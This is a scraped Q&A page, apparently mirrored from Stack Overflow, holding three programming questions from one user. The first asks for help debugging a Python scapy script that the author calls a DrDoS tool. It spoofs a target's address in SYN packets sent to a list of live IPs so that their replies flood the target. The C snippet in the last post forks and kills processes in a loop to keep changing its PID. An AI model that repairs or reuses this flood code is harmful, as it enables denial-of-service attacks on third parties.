我正在尝试在python中创建一个DrDoS程序,但我一直在努力
TypeError:'str'对象不可调用
这是我的代码
import os
import sys
import threading
from scapy.all import *
from time import sleep
if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)
list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))
print "Flooding, press ^Z to stop."
class SYNFlood(threading.Thread):
def run(self):
c=0
with open(list, "r") as f:
IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
send(a, verbose=0)
sys.stdout.write('.')
c=c+1
print "Done, sent " + str(c) + " packets."
exit(0)
for x in range(10):
t …Run Code Online (Sandbox Code Playgroud) 我知道这可能有些重复,但区别在于我安装了httplib2,看看:
D4zk1tty@kali:~$ sudo apt-get install python-httplib2
Reading package lists... Done
Building dependency tree
Reading state information... Done
python-httplib2 is already the newest version.
python-httplib2 set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded
Run Code Online (Sandbox Code Playgroud)
也许它不在正确的目录中?
这是我的追溯:
Traceback (most recent call last):
File "test.py", line 9, in <module>
import httplib2
ImportError: No module named httplib2
Run Code Online (Sandbox Code Playgroud) 好吧,我试图做一个简单的功能来不断改变它的PID,但我明白了:
error: ‘SIGKILL’ undeclared (first use in this function)
Run Code Online (Sandbox Code Playgroud)
这是我的代码:
#include <stdio.h>
int changePID(void) {
int pid = fork();
printf(pid);
sleep(3);
kill(pid, SIGKILL);
}
int main(void) {
while (1) {
changePID();
}
}
Run Code Online (Sandbox Code Playgroud)